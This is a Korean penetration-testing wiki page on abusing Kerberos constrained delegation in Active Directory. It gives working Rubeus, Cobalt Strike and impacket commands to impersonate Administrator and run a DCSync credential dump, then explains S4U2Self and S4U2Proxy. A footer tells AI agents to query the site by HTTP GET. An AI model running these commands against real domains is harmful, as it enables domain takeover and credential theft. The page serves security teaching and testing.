# Constrained Delegation

Constrained Delegation은 제약된 위임으로 Windows 2003에 도입된 위임 구성입니다. 위임에 구성된 객체는 자신의 TGT를 이용해서 다른 사용자를 주체로 하는 서비스 티켓을 발급받을 수 있습니다. 

Windows 2003 시절 커버로스 인증을 사용하지 않거나 못하는 환경(예 : 도메인에 조인되지 않은 노트북 등)에서는 TGT 사본을 필요로 하는 제약없는 위임을 통해 자동화를 하지 못했기 때문에 이에 대한 대책으로 개발되었습니다.

<figure><img src="/files/zisTRroNDPW1Nnaba4sn" alt=""><figcaption><p>Constrained Delegation 세팅</p></figcaption></figure>

환경에서는 user-A 계정이 AD01의 cifs 서비스에 대해 제약된 위임이 구성되어 있습니다. 공격자가 user-A 계정을 탈취한다면 해당 계정으로는 도메인 관리자를 대신하여 cifs 서비스 티켓을 발급받을 수 있습니다.

기본적으로 도메인 객체는 위임에 대한 속성인 `msDS-AllowedToDelegateTo` 가 비어있지만 위임이 구성되면 이 값은 가장할 수 있는 spn 값으로 채워집니다. 따라서 이 값이 비어있지 않는 객체를 열거하면 도메인의 제약된 위임 구성을 확인할 수 있습니다.

## Abuse

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell" data-title="Cobalt Strike"><code class="lang-powershell"><strong># Constrained Delegation이 설정된 머신 열거
</strong>Get-ADObject -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo | Select-Object Name, ObjectClass, DistinguishedName, msDS-AllowedToDelegateTo

<strong># 위임이 설정된 계정을 통해 S4U2Self 수행
</strong>.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/AD01.CONTOSO.COM /user:user-A /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE /domain:contoso.com /nowrap

<strong># 로그인 세션 생성
</strong>.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:AD01 /username:Administrator /password:FakePass /ticket:doI[...]Q==

<strong># 세션 사용
</strong>steal_token 1540
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># Delegation이 설정된 객체 열거
</strong>impacket-findDelegation contoso.com/user-A:'Password123!'

<strong># 서비스에 대한 가장 티켓 발급 요청 및 환경 변수 등록
</strong>impacket-getST -spn 'cifs/AD01.CONTOSO.COM' -impersonate Administrator contoso.com/user-A:'Password123!' -force-forwardable
export KRB5CCNAME=Administrator@cifs_AD01.CONTOSO.COM@CONTOSO.COM.ccache

<strong># DCSync
</strong>impacket-secretsdump contoso.com/Administrator@ad01.contoso.com -k -no-pass -dc-ip 192.168.1.11
</code></pre>

{% endtab %}
{% endtabs %}

## Root Cause

제약된 위임이 구성된 객체는 자신의 TGT 발급을 위해 커버로스 사전 인증 단계를 거칩니다.

<div><figure><img src="/files/lsTUhDFKFiF6qSYPrigk" alt=""><figcaption><p>AS-REQ</p></figcaption></figure> <figure><img src="/files/5ZhvZ2UWAii7nfC3Seyb" alt=""><figcaption><p>AS-REP</p></figcaption></figure></div>

위임이 구성된 user-A는 직접적으로 자신의 TGT를 통해서 다른 서비스에 대해 특정 사용자를 가장한 티켓을 요청할 수는 없는 대신 다른 클라이언트가 소유한 자신(user-A)의 서비스 티켓을 이용하여 다른 서비스에 대해 TGS-REQ를 할 수 있습니다.

따라서 첫번째 TGS-REQ/TGS-REP에서는 user-A가 가진 SPN에 대해 가장하려는 사용자(Administrator)로 서비스 티켓을 요청 및 발급합니다.

<div><figure><img src="/files/mwPJHQpAH68S1jD99AYy" alt=""><figcaption><p>TGS-REQ</p></figcaption></figure> <figure><img src="/files/wnJ1anJPMMje6404wyQl" alt=""><figcaption><p>TGS-REP</p></figcaption></figure></div>

{% hint style="info" %}
user-A의 spn에 대해 다른 사용자를 가장하여 서비스 티켓을 요청하는 것은 S4U2Self이며 제약된 위임입니다.
{% endhint %}

이제 user-A는 Administrator 권한으로 발급받은 자신의 spn이 있기 때문에 해당 티켓을 이용하여 위임받은 cifs/AD01.CONTOSO.COM 서비스 티켓을 Administrator 권한으로 발급받습니다.

<div><figure><img src="/files/5jCOeX8MUBofgFWMKYPE" alt=""><figcaption><p>TGS-REQ</p></figcaption></figure> <figure><img src="/files/pW2hSfGV8rQClSEEyGLR" alt=""><figcaption><p>TGS-REP</p></figcaption></figure></div>

{% hint style="info" %}
Administrator 권한으로 발급받은 자신의 서비스 티켓을 다른 티켓으로 교환하는 기능은 S4U2Proxy입니다.
{% endhint %}

번거로워 보일 수 있는 위 과정이 반드시 필요한 몇가지 이유가 있습니다.

예를 들어 user-A 사용자에게서 웹 서비스가, AD01에서 데이터베이스 서비스가 실행된다고 가정하겠습니다. &#x20;

<figure><img src="/files/rhwKkYjfOfdFyZN0Bf1N" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94</a></p></figcaption></figure>

위임이 필요한 이유는 user-B가 웹 서비스에 접근하여 로그인 했을 때 자신의 데이터를 반환받기 위해 직접 AD01의 서비스에 접근하는 것이 아니라, user-A로 접근한 user-B를 대신하여 AD01에 인증하는 것입니다. 만약 이러한 과정이 없다면 user-B, user-C 등 수많은 클라이언트가 웹 서비스를 사용하지 않았음에도 user-A는 클라이언트의 데이터베이스에 접근할 수 있게 됩니다.

두번째로 user-A가 직접적으로 user-B를 대신하여 AD01 데이터베이스에 접근한다면 AD01이 바라보는 입장에서 발급해줘야 하는 TGS-REP의 PAC은 user-A에 대한 정보를 기반으로 채울 수밖에 없습니다. 하지만 user-B가 user-A의 웹 서비스에 접근한 것을 기반으로 서비스 티켓을 요청한다면 AD01이 작성하는 PAC 정보 역시 user-B를 기반으로 작성할 수 있습니다.

<figure><img src="/files/qAZyimIXgWAidYHQxAZB" alt=""><figcaption><p>S4U2Proxy PAC</p></figcaption></figure>

위 사진에서 보다시피 클라이언트는 분명 user-A이지만 PAC에 담긴 클라이언트는 Administrator인 것을 확인할 수 있습니다.

## References

{% embed url="<https://k5wiki.kerberos.org/wiki/Projects/ConstrainedDelegation>" %}

{% embed url="<https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/bde93b0e-f3c9-4ddf-9f44-e1453be7af5a>" %}

{% embed url="<https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/02636893-7a1f-4357-af9a-b672e3e3de13>" %}

{% embed url="<https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/data-theft/active-directory/constrained-delegation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.